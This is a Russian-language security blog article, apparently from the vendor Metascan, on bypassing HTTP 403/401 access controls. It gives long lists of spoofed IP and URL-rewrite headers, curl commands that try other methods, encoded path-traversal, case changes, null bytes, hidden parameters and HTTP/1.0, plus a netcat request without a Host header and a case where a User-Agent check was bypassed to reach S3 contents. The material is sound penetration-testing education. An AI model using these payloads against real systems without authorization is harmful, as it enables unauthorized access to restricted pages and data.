Методы и техники обхода Forbidden

Один из самых простых способов закрыть доступ к контенту - это использование HTTP статусов 4XX, которые являются индикатором ошибки на стороне клиента выполнившего запрос. Реализовать их можно самыми разнообразными способами, такими как конфигурация веб-сервера, прикладная логика приложения или даже на уровне CGI скрипта. Но очень часто разработчики могут использовать усложненную логику для гибкого доступа клиентов к закрытому контенту.

Дата выхода: Время прочтения статьи:
Методы и техники обхода Forbidden

Перспектива атакующего

Рассмотрим перспективу атакующего который осуществляет анализ веб-приложения и сталкивается со страницами или запросами на которые веб-сервер возвращает 4XX ошибки (в основном 401 и 403). Один из способов сделать гибкий доступ к запрещенному контенту - проверять IP адрес клиента.

Иногда это делают через заголовки, среди таких встречаются следующие:

Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Request-Uri: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 443
X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-True-IP: 127.0.0.1
Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1

Для подбора нужного заголовка который потенциально использовался для разграничения доступа атакующему достаточно просто осуществить фаззинг по заголовкам и попытаться подобрать заложенный разработчиком заголовок для проверки клиентского IP.

Один из других способов ограничить доступ - проверять другие заголовки или использовать особенности веб-серверов, такие как перезапись оригинального URL или по заголовку Referer:

X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
Referer: http://trusted.com/admin

Другой распространенной мисконфигурацией является проверка по конкретному методу, где в прикладной логике приложения может отсутствовать или работать некорректно обработка HTTP метода:

curl -X OPTIONS --path-as-is "https://example.com/private/"
curl -X GET --path-as-is "https://example.com/private/"
curl -X POST --path-as-is "https://example.com/private/"
curl -X PUT --path-as-is "https://example.com/private/"
curl -X DELETE --path-as-is "https://example.com/private/"
curl -X PATCH --path-as-is "https://example.com/private/"
curl -X HEAD --path-as-is "https://example.com/private/"
curl -X TRACE --path-as-is "https://example.com/private/"
curl -X CONNECT --path-as-is "https://example.com/private/"
curl -X PROPFIND --path-as-is "https://example.com/private/"
curl -X MKCOL --path-as-is "https://example.com/private/"
curl -X COPY --path-as-is "https://example.com/private/"
curl -X MOVE --path-as-is "https://example.com/private/"
curl -X LOCK --path-as-is "https://example.com/private/"
curl -X UNLOCK --path-as-is "https://example.com/private/"
curl -X SEARCH --path-as-is "https://example.com/private/"

И заголовок для перезаписи метода:

X-HTTP-Method-Override: PUT

Среди распространенных методов обхода можно применять классическую Path Traversal атаку:

curl -g --path-as-is "https://example.com/%2e%2e/admin"          # ../
curl -g --path-as-is "https://example.com/%2e%2e%2fadmin"        # ../admin
curl -g --path-as-is "https://example.com/%2e%2e%2f%61dmin"      # ../admin (кодировка для 'a' символа)
curl -g --path-as-is "https://example.com/%2e%2e/%2e%2e/admin"   # ../../admin
curl -g --path-as-is "https://example.com/%2e%2e/%2fadmin"       # ..//admin
curl -g --path-as-is "https://example.com/%20/admin"             # space/admin
curl -g --path-as-is "https://example.com/%2e%2fadmin"           # ./admin
curl -g --path-as-is "https://example.com/admin%2f"              # admin/
curl -g --path-as-is "https://example.com/admin%252f"            # admin%2f (двойная кодировка)
curl -g --path-as-is "https://example.com/admin%2e%2e%2f"        # admin../

Если разработчик воспользовался недостаточно хорошим регулярным выражением и проверяет только строчную версию URL, можно попробовать изменить регистр:

curl https://example.com/admin
curl https://example.com/Admin
curl https://example.com/ADMIN
curl https://example.com/aDmiN
curl https://example.com/adMin
curl https://example.com/AdMiN
curl https://example.com/aDMIN
curl https://example.com/ADMIn

Или добавить альтернативные расширения которые могут пройти проверку на уровне веб-сервера и прикладная логика приложения уже может просто проигнорировать их:

curl https://example.com/admin.json
curl https://example.com/admin.css
curl https://example.com/admin.js
curl https://example.com/admin.html
curl https://example.com/admin.php
curl https://example.com/admin.aspx
curl https://example.com/admin.xml
curl https://example.com/admin.txt
curl https://example.com/admin.bak
curl https://example.com/admin.old
curl https://example.com/admin.zip
curl https://example.com/admin.tar.gz

# С использованием нуль-байта
curl --path-as-is "https://example.com/admin.php%00.html"
curl --path-as-is "https://example.com/config.php%00.json"
curl --path-as-is "https://example.com/login.php%00?redirect=admin"
curl --path-as-is "https://example.com/user/profile%00.php"
curl --path-as-is "https://example.com/images/logo%00.jpg"
curl --path-as-is "https://example.com/admin%00.php"
curl --path-as-is "https://example.com/secret%00file.txt"
curl --path-as-is "https://example.com/uploads/file%00.zip"

Иногда разработчики могут использовать скрытые параметры для ограниченного доступа к страницам, здесь могут помочь такие инструменты как Param-Miner и подобные:

curl "https://example.com/admin?unused_param=1"
curl "https://example.com/admin?redirect=allowed"
curl "https://example.com/admin?debug=true"
curl "https://example.com/admin?access=granted"
curl "https://example.com/admin?token=123"

Немного реже встречаются обходы с использованием HTTP Version Downgrade:

curl -http1.0 https://example.com/admin
curl -http1.0 https://example.com/secret
curl -http1.0 https://example.com/config
curl -http1.0 https://example.com/dashboard

Или обращение без Host заголовка (BurpSuite, Zap, Netcat):

printf "GET /admin HTTP/1.1\r\n\r\n" | nc example.com 80

Если в какой-то момент конфигурация не работала, можно посмотреть доступность файла на основе исторических данных:

Реальный кейс Метаскан

В процессе анализа инфраструктуры заказчика выявили необычное поведение сервера, который блокировал доступ к странице на основе заголовка User-Agent:

617962f9-227e-49bc-a90a-331333fbca9b.png

По результатам фаззинга выявили необычное поведение при котором любое упоминание стандартных браузеров, таких как Firefox, Safari, Opera, Chrome, мобильных браузеров на Android, iPhone и других клиентов сервер возвращал 403, но при использовании даже простого curl User-Agent проверка проходила и был получен доступ к содержимому хранилища S3:

0c7f7e93-26d7-499e-8a49-83e3c2c8f026.png

Помимо обхода с помощью User-Agent, по результатам сканирований выявляли большое количество мисконфигураций связанных с использованием проверки по строчной версии URL, когда как доступ с изменением регистра оставался.

Заключение

Логика проверки доступа может быть самой разнообразной в зависимости от выбранной реализации разработчиком. Поэтому несмотря на видимую недоступность ресурса, всегда стоит проверять защиту у которой может скрываться ахиллесова пята.

С экспертным сопровождением в Метаскан вы можете быть уверены в отсутствии подобных брешей в защите чувствительных и административных точек приложения, а наш отдел исследований и разработки постоянно работает над улучшением автоматических проверок сканера.

Методы и техники обхода Forbidden | METASCAN